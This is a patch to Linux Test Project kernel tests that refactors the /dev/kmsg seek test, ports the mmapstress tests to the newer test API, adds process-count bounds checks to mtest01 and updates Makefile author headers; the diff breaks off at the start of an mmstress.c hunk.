--- a/testcases/kernel/ipc/semaphore/sem02.c
+++ b/testcases/kernel/ipc/semaphore/sem02.c
@@ -41,7 +41,6 @@
  *      -ported to LTP
  *
  */
-#include "test.h"
 
 #include <stdio.h>
 #include <stdlib.h>
@@ -52,6 +51,7 @@
 #include <sys/types.h>
 #include <sys/ipc.h>
 #include "lapi/semun.h"
+#include "test.h"
 
 #define KEY IPC_PRIVATE
 
diff --git a/testcases/kernel/logging/kmsg/kmsg01.c b/testcases/kernel/logging/kmsg/kmsg01.c
index 07419da..5fd3e8b 100644
--- a/testcases/kernel/logging/kmsg/kmsg01.c
+++ b/testcases/kernel/logging/kmsg/kmsg01.c
@@ -393,8 +393,8 @@
 		else
 			tst_resm(TFAIL|TTERRNO, "read failed");
 
-		/* give a second to whoever overwrote first message to finish */
-		sleep(1);
+		/* give a moment to whoever overwrote first message to finish */
+		usleep(100000);
 		j--;
 	}
 
@@ -473,63 +473,90 @@
 	SAFE_CLOSE(cleanup, fd);
 }
 
+static int read_msg_seqno(int fd, unsigned long *seqno)
+{
+	char msg[MAX_MSGSIZE];
+
+	TEST(read(fd, msg, sizeof(msg)));
+	if (TEST_RETURN == -1 && TEST_ERRNO != EPIPE) {
+		tst_brkm(TBROK|TTERRNO, cleanup,
+			"failed to read /dev/kmsg");
+	}
+
+	if (TEST_ERRNO == EPIPE)
+		return -1;
+
+	if (get_msg_fields(msg, NULL, seqno) != 0) {
+		tst_resm(TFAIL, "failed to parse seqid: %s", msg);
+		return -1;
+	}
+
+	return 0;
+}
+
 static void test_seek(void)
 {
-	int k, j = NUM_READ_RETRY, fd;
+	int j, fd, fd2;
 	char msg[MAX_MSGSIZE];
-	unsigned long seqno[2];
+	unsigned long seqno[2], tmp;
+	int ret = 0;
 
 	/* 1. read() after SEEK_SET 0 returns same (first) message */
 	tst_resm(TINFO, "TEST: seek SEEK_SET 0");
 
-	fd = open("/dev/kmsg", O_RDONLY | O_NONBLOCK);
-	if (fd < 0)
-		tst_brkm(TBROK|TERRNO, cleanup,	"failed to open /dev/kmsg");
+	for (j = 0; j < NUM_READ_RETRY && !ret; j++) {
+		/*
+		 * j > 0 means we are trying again, because we most likely
+		 * failed on read returning EPIPE - first message in buffer
+		 * has been overwrittern. Give a moment to whoever overwrote
+		 * first message to finish.
+		 */
+		if (j)
+			usleep(100000);
 
-	while (j) {
-		for (k = 0; k < 2; k++) {
-			TEST(read(fd, msg, sizeof(msg)));
-			if (TEST_RETURN == -1) {
-				if (errno == EPIPE)
-					break;
-				else
-					tst_brkm(TBROK|TTERRNO, cleanup,
-						"failed to read /dev/kmsg");
-			}
-			if (get_msg_fields(msg, NULL, &seqno[k]) != 0)
-				tst_resm(TFAIL, "failed to parse seqid: %s",
-					msg);
-			if (k == 0)
-				if (lseek(fd, 0, SEEK_SET) == -1)
-					tst_resm(TFAIL|TERRNO,
-						"SEEK_SET 0 failed");
+		/*
+		 * Open 2 fds. Use fd1 to read seqno1, then seek to
+		 * begininng and read seqno2. Use fd2 to check if
+		 * first entry in buffer got overwritten. If so,
+		 * we'll have to repeat the test.
+		 */
+		fd = SAFE_OPEN(cleanup, "/dev/kmsg", O_RDONLY | O_NONBLOCK);
+		fd2 = SAFE_OPEN(cleanup, "/dev/kmsg", O_RDONLY | O_NONBLOCK);
+
+		if (read_msg_seqno(fd, &seqno[0]))
+			goto close_fds;
+
+		if (lseek(fd, 0, SEEK_SET) == -1) {
+			tst_resm(TFAIL|TERRNO, "SEEK_SET 0 failed");
+			ret = -1;
+			goto close_fds;
 		}
 
-		if (TEST_RETURN != -1)
-			break;
+		if (read_msg_seqno(fd, &seqno[1]))
+			goto close_fds;
 
-		/* give a second to whoever overwrote first message to finish */
-		sleep(1);
-		j--;
+		if (read_msg_seqno(fd2, &tmp))
+			goto close_fds;
 
-		/* read above has returned EPIPE, reopen fd and try again */
+		ret = 1;
+close_fds:
 		SAFE_CLOSE(cleanup, fd);
-		fd = open("/dev/kmsg", O_RDONLY | O_NONBLOCK);
-		if (fd < 0)
-			tst_brkm(TBROK|TERRNO, cleanup,
-				"failed to open /dev/kmsg");
+		SAFE_CLOSE(cleanup, fd2);
 	}
 
-	if (!j) {
+	if (j == NUM_READ_RETRY) {
 		tst_resm(TWARN, "exceeded: %d attempts", NUM_READ_RETRY);
-	} else {
-		if (seqno[0] != seqno[1])
-			tst_resm(TFAIL, "SEEK_SET 0");
-		else
+	} else if (ret > 0) {
+		if (seqno[0] != seqno[1]) {
+			tst_resm(TFAIL, "SEEK_SET 0, %lu != %lu",
+				seqno[0], seqno[1]);
+		} else {
 			tst_resm(TPASS, "SEEK_SET 0");
+		}
 	}
 
 	/* 2. messages after SEEK_END 0 shouldn't contain MSG_PREFIX */
+	fd = SAFE_OPEN(cleanup, "/dev/kmsg", O_RDONLY | O_NONBLOCK);
 	tst_resm(TINFO, "TEST: seek SEEK_END 0");
 	if (lseek(fd, 0, SEEK_END) == -1)
 		tst_resm(TFAIL|TERRNO, "lseek SEEK_END 0 failed");
diff --git a/testcases/kernel/mem/Makefile b/testcases/kernel/mem/Makefile
index bd7fe7a..eb8f3a4 100644
--- a/testcases/kernel/mem/Makefile
+++ b/testcases/kernel/mem/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
diff --git a/testcases/kernel/mem/hugetlb/Makefile.inc b/testcases/kernel/mem/hugetlb/Makefile.inc
index c07d600..9a4aa87 100644
--- a/testcases/kernel/mem/hugetlb/Makefile.inc
+++ b/testcases/kernel/mem/hugetlb/Makefile.inc
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 # DO NOT USE THIS FILE FOR hugetlb / lib!!!
diff --git a/testcases/kernel/mem/hugetlb/hugemmap/Makefile b/testcases/kernel/mem/hugetlb/hugemmap/Makefile
index 2473aca..bfe1976 100644
--- a/testcases/kernel/mem/hugetlb/hugemmap/Makefile
+++ b/testcases/kernel/mem/hugetlb/hugemmap/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/kernel/mem/hugetlb/hugeshmat/Makefile b/testcases/kernel/mem/hugetlb/hugeshmat/Makefile
index f51f6b9..e12fc79 100644
--- a/testcases/kernel/mem/hugetlb/hugeshmat/Makefile
+++ b/testcases/kernel/mem/hugetlb/hugeshmat/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/kernel/mem/hugetlb/hugeshmctl/Makefile b/testcases/kernel/mem/hugetlb/hugeshmctl/Makefile
index 3edcd7b..44dc6a0 100644
--- a/testcases/kernel/mem/hugetlb/hugeshmctl/Makefile
+++ b/testcases/kernel/mem/hugetlb/hugeshmctl/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/kernel/mem/hugetlb/hugeshmdt/Makefile b/testcases/kernel/mem/hugetlb/hugeshmdt/Makefile
index 812b7f2..7f6ffad 100644
--- a/testcases/kernel/mem/hugetlb/hugeshmdt/Makefile
+++ b/testcases/kernel/mem/hugetlb/hugeshmdt/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget03.c b/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget03.c
index e38d3aa..402313a 100644
--- a/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget03.c
+++ b/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget03.c
@@ -118,14 +118,14 @@
 	tst_tmpdir();
 
 	orig_hugepages = get_sys_tune("nr_hugepages");
-	set_sys_tune("nr_hugepages", hugepages, 1);
-	hpage_size = read_meminfo("Hugepagesize:") * 1024;
-
-	shm_size = hpage_size;
-
 	SAFE_FILE_SCANF(NULL, PATH_SHMMNI, "%ld", &orig_shmmni);
+
+	set_sys_tune("nr_hugepages", hugepages, 1);
 	SAFE_FILE_PRINTF(NULL, PATH_SHMMNI, "%ld", hugepages / 2);
 
+	hpage_size = read_meminfo("Hugepagesize:") * 1024;
+	shm_size = hpage_size;
+
 	/*
 	 * Use a while loop to create the maximum number of memory segments.
 	 * If the loop exceeds MAXIDS, then break the test and cleanup.
diff --git a/testcases/kernel/mem/hugetlb/lib/hugetlb.h b/testcases/kernel/mem/hugetlb/lib/hugetlb.h
index bf2e1ed..6b5c61e 100644
--- a/testcases/kernel/mem/hugetlb/lib/hugetlb.h
+++ b/testcases/kernel/mem/hugetlb/lib/hugetlb.h
@@ -27,7 +27,7 @@
 #include <sys/ipc.h>
 #include <sys/shm.h>
 #include <errno.h>
-#include <wait.h>
+#include <sys/wait.h>
 #include "test.h"
 
 #define SHM_RD	0400
diff --git a/testcases/kernel/mem/mmapstress/mmapstress03.c b/testcases/kernel/mem/mmapstress/mmapstress03.c
index 066587a..0012eeb 100644
--- a/testcases/kernel/mem/mmapstress/mmapstress03.c
+++ b/testcases/kernel/mem/mmapstress/mmapstress03.c
@@ -42,11 +42,11 @@
 #include <errno.h>
 #include <unistd.h>
 #include <limits.h>
+#include <stdlib.h>
+#include <stdint.h>
 
-/*****  LTP Port        *****/
 #include "test.h"
-#define FAILED 0
-#define PASSED 1
+#include "tst_kernel.h"
 
 char *TCID = "mmapstress03";
 FILE *temp;
@@ -54,36 +54,24 @@
 
 int anyfail();
 void ok_exit();
-/*****  **      **      *****/
 
 #define AS_SVSM_VSEG_MAX	48UL
 #define AS_SVSM_MMAP_MAX	16UL
 
 #define EXTRA_VSEGS	2L
 #define NUM_SEGS	(AS_SVSM_VSEG_MAX + EXTRA_VSEGS)
-#define ERROR(M) (void)fprintf(stderr, "%s: errno = %d: " M "\n", progname, \
+#define ERROR(M) (void)fprintf(stderr, "%s: errno = %d: " M "\n", TCID, \
 			errno)
 #define NEG1	(char *)-1
-#define POINTER_SIZE	(sizeof(void *) << 3)
 
-extern long sysconf(int name);
-extern void exit(int);
-extern time_t time(time_t *);
-extern char *ctime(const time_t *);
-static void do_test(caddr_t brk_max, long pagesize);
+static void do_test(void* brk_max, long pagesize);
 
-static char *progname;
-
- /*ARGSUSED*/ int main(int argc, char *argv[])
+int main(void)
 {
 	char *brk_max_addr, *hole_addr, *brk_start, *hole_start;
 	size_t pagesize = (size_t) sysconf(_SC_PAGE_SIZE);
-	time_t t;
+	int kernel_bits = tst_kernel_bits();
 
-	progname = argv[0];
-
-	(void)time(&t);
-//      (void)printf("%s: Started %s", argv[0], ctime(&t));
 	if ((brk_start = sbrk(0)) == NEG1) {
 		ERROR("initial sbrk failed");
 		anyfail();
@@ -105,7 +93,7 @@
 		ERROR("couldn't find top of brk");
 		anyfail();
 	}
-	do_test((caddr_t) brk_max_addr, pagesize);
+	do_test((void*) brk_max_addr, pagesize);
 
 	/* now make holes and repeat test */
 	while (hole_addr + pagesize < brk_max_addr) {
@@ -120,7 +108,7 @@
 		ERROR("do_test should leave the top of brk where it began");
 		anyfail();
 	}
-	do_test((caddr_t) brk_max_addr, pagesize);
+	do_test((void*) brk_max_addr, pagesize);
 
 	/* Shrink brk */
 	if (sbrk(-NUM_SEGS * pagesize) == NEG1) {
@@ -151,12 +139,13 @@
 		ERROR("failed to fiddle with brk at the end");
 		anyfail();
 	}
+
 	/* Ask for a ridiculously large mmap region at a high address */
-	if (mmap((caddr_t) (1UL << (POINTER_SIZE - 1)) - pagesize,
-		 (size_t) ((1UL << (POINTER_SIZE - 1)) - pagesize),
+	if (mmap((void*) (((uintptr_t)1) << ((sizeof(void*)<<3) - 1)) - pagesize,
+		 (size_t) ((1ULL << (kernel_bits - 1)) - pagesize),
 		 PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_FIXED | MAP_SHARED,
 		 0, 0)
-	    != (caddr_t) - 1) {
+	    != (void*) - 1) {
 		ERROR("really large mmap didn't fail");
 		anyfail();
 	}
@@ -164,8 +153,7 @@
 		ERROR("really large mmap didn't set errno = ENOMEM nor EINVAL");
 		anyfail();
 	}
-	(void)time(&t);
-//      (void)printf("%s: Finished %s", argv[0], ctime(&t));
+
 	ok_exit();
 	tst_exit();
 }
@@ -174,21 +162,20 @@
  * do_test assumes that brk_max is a multiple of pagesize
  */
 
-static
-void do_test(caddr_t brk_max, long pagesize)
+static void do_test(void* brk_max, long pagesize)
 {
-	if (mmap((caddr_t) ((long)brk_max - 3 * pagesize), (2 * pagesize),
+	if (mmap((void*) ((long)brk_max - 3 * pagesize), (2 * pagesize),
 		 PROT_READ | PROT_WRITE,
 		 MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0)
-	    == (caddr_t) - 1) {
+	    == (void*) - 1) {
 		ERROR("mmap failed");
 		anyfail();
 	}
 	/* extend mmap */
-	if (mmap((caddr_t) ((long)brk_max - 2 * pagesize), (2 * pagesize),
+	if (mmap((void*) ((long)brk_max - 2 * pagesize), (2 * pagesize),
 		 PROT_READ | PROT_WRITE,
 		 MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0)
-	    == (caddr_t) - 1) {
+	    == (void*) - 1) {
 		ERROR("mmap failed");
 		anyfail();
 	}
@@ -214,7 +201,6 @@
 	}
 }
 
-/*****  LTP Port        *****/
 void ok_exit(void)
 {
 	tst_resm(TPASS, "Test passed");
@@ -225,5 +211,3 @@
 {
 	tst_brkm(TFAIL, NULL, "Test failed");
 }
-
-/*****  **      **      *****/
diff --git a/testcases/kernel/mem/mmapstress/mmapstress04.c b/testcases/kernel/mem/mmapstress/mmapstress04.c
index d7641f9..3c4749f 100644
--- a/testcases/kernel/mem/mmapstress/mmapstress04.c
+++ b/testcases/kernel/mem/mmapstress/mmapstress04.c
@@ -1,290 +1,127 @@
-/* IBM Corporation */
-/* 01/02/2003	Port to LTP avenkat@us.ibm.com	*/
-/* 06/30/2001	Port to Linux	nsharoff@us.ibm.com */
-
 /*
- *   Copyright (c) International Business Machines  Corp., 2003
+ * Copyright (c) 2017 Red Hat, Inc.
+ * 01/02/2003	Port to LTP avenkat@us.ibm.com
+ * 06/30/2001	Port to Linux	nsharoff@us.ibm.com
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
  *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * You should have received a copy of the GNU General Public License
+ * along with this program.  If not, see <http://www.gnu.org/licenses/>.
+ */
+/*
+ * Mmap parts of a file, and then write to the file causing single
+ * write requests to jump back and forth between mmaped io and regular io.
  */
 
-/*
- * weave:
- *	Mmap parts of a file, and then write to the file causing single
- *	write requests to jump back and forth between mmaped io and regular io.
- *
- *	Usage: weave filename startoffset. pageoffset = 4096.
- *
- *	startoffset specifies a byte count in the file at which to begin
- *	the test.  When this value is non-zero, a sparse file is created.
- *	This is useful for testing with large files.
- *
- *  Compile with -DLARGE_FILE to enable file sizes > 2 GB.
- */
-
-#include <sys/types.h>
-#include <sys/mman.h>
-#include <unistd.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <signal.h>
-#include <stdio.h>
+#define _GNU_SOURCE
 #include <stdlib.h>
-/*****	LTP Port	*****/
-#include "test.h"
-#define FAILED 0
-#define PASSED 1
-/*****	**	**	*****/
+#include "tst_test.h"
+#include "tst_safe_macros.h"
 
-#define CLEAN	(void)close(rofd); \
-		(void)close(rwfd); \
-		(void)unlink(filename);
-#define ERROR(M)	(void)fprintf(stderr, "%s:  errno = %d; " M "\n", \
-				argv[0], errno)
-#define CLEANERROR(M)	CLEAN; ERROR(M)
-#define CATCH_SIG(SIG) \
-        if (sigaction(SIG, &sa, 0) == -1) { \
-                ERROR("couldn't catch signal " #SIG); \
-                exit(1); \
-        }
+#define NUM_PAGES (192)
+#define TEST_FILE "mmapstress04-testfile"
 
-static char *filename;
+static int page_size;
+static unsigned char *mmap_area;
 
-/*****	LTP Port	*****/
-char *TCID = "mmapstress04";	//weave
-int local_flag = PASSED;
-int block_number;
-FILE *temp;
-int TST_TOTAL = 1;
-
-int anyfail();
-int blenter();
-int blexit();
-int instress();
-void setup();
-void terror();
-void fail_exit();
-void ok_exit();
-/*****	**	**	*****/
-
-extern time_t time(time_t *);
-extern char *ctime(const time_t *);
-extern void exit(int);
-static int rofd, rwfd;
-
- /*ARGSUSED*/ static
-void cleanup(int sig)
+static void setup(void)
 {
+	page_size = getpagesize();
+
 	/*
-	 * Don't check error codes - we could be signaled before the file is
-	 * created.
+	 * Pick large enough area, PROT_NONE doesn't matter,
+	 * because we remap it later.
 	 */
-	(void)close(rofd);
-	(void)close(rwfd);
-	(void)unlink(filename);
-	exit(1);
+	mmap_area = SAFE_MMAP(NULL, page_size * NUM_PAGES, PROT_NONE,
+		MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
 }
 
-int main(int argc, char *argv[])
+static void write_fully(int fd, void *buf, int len)
 {
+	int ret;
+
+	do {
+		ret = SAFE_WRITE(0, fd, buf, len);
+		buf += ret;
+		len -= ret;
+	} while (len > 0);
+}
+
+static void mmapstress04(void)
+{
+	int i, j, rofd, rwfd;
 	char *buf;
-	size_t pagesize = (size_t) sysconf(_SC_PAGE_SIZE);
-	caddr_t mmapaddr;
-	time_t t;
-	int i, j;
-	struct sigaction sa;
-#ifdef LARGE_FILE
-	off64_t startoffset;
-	off64_t seekoff;
-	off64_t mapoff;
-#else /* LARGE_FILE */
-	off_t startoffset;
-	off_t seekoff;
-	off_t mapoff;
-#endif /* LARGE_FILE */
+	int mapped_pages = 0;
 
-	if (argc < 2 || argc > 3) {
-		(void)fprintf(stderr, "Usage: %s filename startoffset\n",
-			      argv[0]);
-		return 1;
-	}
-	filename = argv[1];
+	if (tst_fill_file(TEST_FILE, 'b', page_size, 1))
+		tst_brk(TBROK | TERRNO, "fill_file");
 
-	if (argc >= 3) {
-#ifdef LARGE_FILE
-		startoffset = atoll(argv[2]);
-#else /* LARGE_FILE */
-		startoffset = atoi(argv[2]);
-#endif /* LARGE_FILE */
-	} else
-		startoffset = pagesize;
-
-	if (startoffset % pagesize != 0) {
-		fprintf(stderr, "pagesize=%ld\n", (long)pagesize);
-		fprintf(stderr, "startoffset must be a pagesize multiple\n");
-		anyfail();	//LTP Port
-	}
-	(void)time(&t);
-//      (void)printf("%s: Started %s", argv[0], ctime(&t));
-	if ((buf = sbrk(6 * pagesize)) == (char *)-1) {
-		ERROR("couldn't allocate buf");
-		anyfail();	//LTP Port
-	}
-	if (sbrk(pagesize - ((ulong) sbrk(0) & (pagesize - 1))) == (char *)-1) {
-		ERROR("couldn't round up brk");
-		anyfail();	//LTP Port
-	}
-	if ((mmapaddr = (caddr_t) sbrk(0)) == (caddr_t) - 1) {
-		ERROR("couldn't find top of brk");
-		anyfail();	//LTP Port
-	}
-	sa.sa_handler = cleanup;
-	sa.sa_flags = 0;
-	if (sigemptyset(&sa.sa_mask)) {
-		ERROR("sigemptyset failed");
-		anyfail();	//LTP Port
-	}
-	CATCH_SIG(SIGINT);
-	CATCH_SIG(SIGQUIT);
-	CATCH_SIG(SIGTERM);
-	tst_tmpdir();
-#ifdef LARGE_FILE
-	if ((rofd = open64(filename, O_RDONLY | O_CREAT, 0777)) == -1) {
-#else /* LARGE_FILE */
-	if ((rofd = open(filename, O_RDONLY | O_CREAT, 0777)) == -1) {
-#endif /* LARGE_FILE */
-		ERROR("read only open failed");
-		anyfail();	//LTP Port
-	}
-#ifdef LARGE_FILE
-	if ((rwfd = open64(filename, O_RDWR)) == -1) {
-#else /* LARGE_FILE */
-	if ((rwfd = open(filename, O_RDWR)) == -1) {
-#endif /* LARGE_FILE */
-		(void)close(rofd);
-		(void)unlink(filename);
-		ERROR("read/write open failed");
-		anyfail();	//LTP Port
-	}
-#ifdef LARGE_FILE
-	seekoff = startoffset + (off64_t) 64 *(off64_t) 6 *(off64_t) pagesize;
-	if (lseek64(rwfd, seekoff, SEEK_SET) != seekoff) {
-#else /* LARGE_FILE */
-	seekoff = startoffset + (off_t) 64 *(off_t) 6 *(off_t) pagesize;
-	if (lseek(rwfd, seekoff, SEEK_SET) != seekoff) {
-#endif /* LARGE_FILE */
-		CLEANERROR("first lseek failed");
-		anyfail();	//LTP Port
-	}
-	i = 0;
-	while (i < pagesize && write(rwfd, "b", 1) == 1)
-		i++;
-	if (i != pagesize) {
-		CLEANERROR("write to extend file failed");
-		anyfail();	//LTP Port
-	}
-	/* The file is now really big, and empty.
+	rofd = SAFE_OPEN(TEST_FILE, O_RDONLY | O_CREAT, 0777);
+	/*
 	 * Assuming disk blocks are 8k, and logical pages are 4k, there are
-	 * two maps per page.  In order to test mapping at the beginning and
+	 * two maps per block. In order to test mapping at the beginning and
 	 * ends of the block, mapping the whole block, or none of the block
 	 * with different mappings on preceding and following blocks, each
 	 * 3 blocks with 6 pages can be thought of as a binary number from 0 to
-	 * 64 with a bit set for mapped or cleared for unmapped.  This number
-	 * is represented by i.  The value j is used to look at the bits of i
+	 * 64 with a bit set for mapped or cleared for unmapped. This number
+	 * is represented by i. The value j is used to look at the bits of i
 	 * and decided to map the page or not.
 	 * NOTE: None of the above assumptions are critical.
 	 */
 	for (i = 0; i < 64; i++) {
 		for (j = 0; j < 6; j++) {
-			if (i & (1 << j)) {
-#ifdef LARGE_FILE
-				mapoff = startoffset +
-				    (off64_t) pagesize *(off64_t) (6 + i + j);
-				if (mmap64(mmapaddr + pagesize * (6 * i + j),
-					   pagesize, PROT_READ,
-					   MAP_FILE | MAP_PRIVATE | MAP_FIXED,
-					   rofd, mapoff)
-				    == (caddr_t) - 1) {
-#else /* LARGE_FILE */
-				mapoff = startoffset +
-				    (off_t) pagesize *(off_t) (6 + i + j);
-				if (mmap(mmapaddr + pagesize * (6 * i + j),
-					 pagesize, PROT_READ,
-					 MAP_FILE | MAP_PRIVATE | MAP_FIXED,
-					 rofd, mapoff)
-				    == (caddr_t) - 1) {
-#endif /* LARGE_FILE */
-					CLEANERROR("mmap failed");
-					anyfail();	//LTP Port
-				}
-			}
+			off_t mapoff;
+
+			if (!(i & (1 << j)))
+				continue;
+
+			mapoff = page_size * (off_t)(6 * i + j);
+			SAFE_MMAP(mmap_area + page_size * mapped_pages++,
+				 page_size, PROT_READ,
+				 MAP_FILE | MAP_PRIVATE | MAP_FIXED,
+				 rofd, mapoff);
 		}
 	}
-	/* done mapping */
-	for (i = 0; i < 6 * pagesize; i++)
-		buf[i] = 'a';
+	SAFE_CLOSE(rofd);
+
 	/* write out 6 pages of stuff into each of the 64 six page sections */
-#ifdef LARGE_FILE
-	if (lseek64(rwfd, startoffset, SEEK_SET) != startoffset) {
-#else /* LARGE_FILE */
-	if (lseek(rwfd, startoffset, SEEK_SET) != startoffset) {
-#endif /* LARGE_FILE */
-		CLEANERROR("second lseek failed");
-		anyfail();	//LTP Port
-	}
-	for (i = 0; i < 64; i++) {
-		if (write(rwfd, buf, 6 * pagesize) != 6 * pagesize) {
-			CLEANERROR("write failed");
-			anyfail();	//LTP Port
+	rwfd = SAFE_OPEN(TEST_FILE, O_RDWR);
+	buf = SAFE_MALLOC(page_size);
+	memset(buf, 'a', page_size);
+	for (i = 0; i < 6 * 64; i++)
+		write_fully(rwfd, buf, page_size);
+	free(buf);
+	SAFE_CLOSE(rwfd);
+
+	/*
+	 * Just finished scribbling all over interwoven mmapped and unmapped
+	 * regions. Check the data.
+	 */
+	for (i = 0; i < mapped_pages * page_size; i++) {
+		unsigned char val = *(mmap_area + i);
+
+		if (val != 'a') {
+			tst_res(TFAIL, "unexpected value in map, "
+				"i=%d,val=0x%x", i, val);
+			goto done;
 		}
 	}
-	/* Just finished scribbling all over interwoven mmapped and unmapped
-	 * regions.
-	 */
-	for (i = 0; i < 64; i++) {
-		for (j = 0; j < 6; j++) {
-			/* if mmaped && not updated */
-			if ((i & (1 << j))
-			    && *(mmapaddr + pagesize * (6 * i + j)) != 'a') {
-				CLEANERROR("'a' missing from mmap");
-				(void)fprintf(stderr, "i=%d\nj=%d\n"
-					      "val=0x%x\n", i, j,
-					      (int)(*
-						    (mmapaddr +
-						     pagesize * (6 * i + j))));
-				anyfail();	//LTP Port
-			}
-		}
-	}
-	/* Just checked to see that each mmapped page at least had an 'a' at
-	 * the beginning.
-	 */
-	CLEAN;
-	(void)time(&t);
-//      (void)printf("%s: Finished %s", argv[0], ctime(&t)); LTP Port
-	(local_flag == FAILED) ? tst_resm(TFAIL, "Test failed\n") : tst_resm(TPASS, "Test passed\n");	//LTP Port
-	tst_rmdir();
-	tst_exit();		//LTP Port
-
-	tst_exit();
+	tst_res(TPASS, "blocks have expected data");
+done:
+	SAFE_UNLINK(TEST_FILE);
 }
 
-/*****	LTP Port	*****/
-int anyfail(void)
-{
-	tst_brkm(TFAIL, tst_rmdir, "Test failed\n");
-}
-
-/*****	**	**	*****/
+static struct tst_test test = {
+	.tid = "mmapstress04",
+	.needs_tmpdir = 1,
+	.test_all = mmapstress04,
+	.setup = setup,
+};
diff --git a/testcases/kernel/mem/mtest01/Makefile b/testcases/kernel/mem/mtest01/Makefile
index 6c91c51..dbf5387 100644
--- a/testcases/kernel/mem/mtest01/Makefile
+++ b/testcases/kernel/mem/mtest01/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir              ?= ../../../..
diff --git a/testcases/kernel/mem/mtest01/mtest01.c b/testcases/kernel/mem/mtest01/mtest01.c
index d3b55b6..6225d7d 100644
--- a/testcases/kernel/mem/mtest01/mtest01.c
+++ b/testcases/kernel/mem/mtest01/mtest01.c
@@ -152,7 +152,8 @@
 	total_free = sstats.freeram + sstats.freeswap;
 	/* Total Free Pre-Test RAM */
 	pre_mem = sstats.mem_unit * total_free;
-	max_pids = total_ram / (unsigned long)FIVE_HUNDRED_MB + 1;
+	max_pids = total_ram * sstats.mem_unit
+		/ (unsigned long)FIVE_HUNDRED_MB + 10;
 
 	if ((pid_list = malloc(max_pids * sizeof(pid_t))) == NULL)
 		tst_brkm(TBROK | TERRNO, NULL, "malloc failed.");
@@ -200,6 +201,8 @@
 #if defined (_s390_)		/* s390's 31bit addressing requires smaller chunks */
 	while (pid != 0 && maxbytes > FIVE_HUNDRED_MB) {
 		i++;
+		if (i >= max_pids)
+			tst_brkm(TBROK, cleanup, "max_pids needs to be increased");
 		maxbytes -= FIVE_HUNDRED_MB;
 		pid = fork();
 		if (pid < 0)
@@ -217,6 +220,8 @@
 #elif __WORDSIZE == 32
 	while (pid != 0 && maxbytes > ONE_GB) {
 		i++;
+		if (i >= max_pids)
+			tst_brkm(TBROK, cleanup, "max_pids needs to be increased");
 		maxbytes -= ONE_GB;
 		pid = fork();
 		if (pid < 0)
@@ -234,6 +239,8 @@
 #elif __WORDSIZE == 64
 	while (pid != 0 && maxbytes > THREE_GB) {
 		i++;
+		if (i >= max_pids)
+			tst_brkm(TBROK, cleanup, "max_pids needs to be increased");
 		maxbytes -= THREE_GB;
 		pid = fork();
 		if (pid < 0)
diff --git a/testcases/kernel/mem/mtest05/Makefile b/testcases/kernel/mem/mtest05/Makefile
index b2051cf..ec03441 100644
--- a/testcases/kernel/mem/mtest05/Makefile
+++ b/testcases/kernel/mem/mtest05/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir              ?= ../../../..
diff --git a/testcases/kernel/mem/mtest05/mmstress.c b/testcases/kernel/mem/mtest05/mmstress.c
index 0240a83..5f3897b 100644
--- a/testcases/kernel/mem/mtest05/mmstress.c
+++ b/testcases/kernel/mem/mtest05/mmstress.c
@@ -82,22 +82,22 @@
 /*                                                                            */
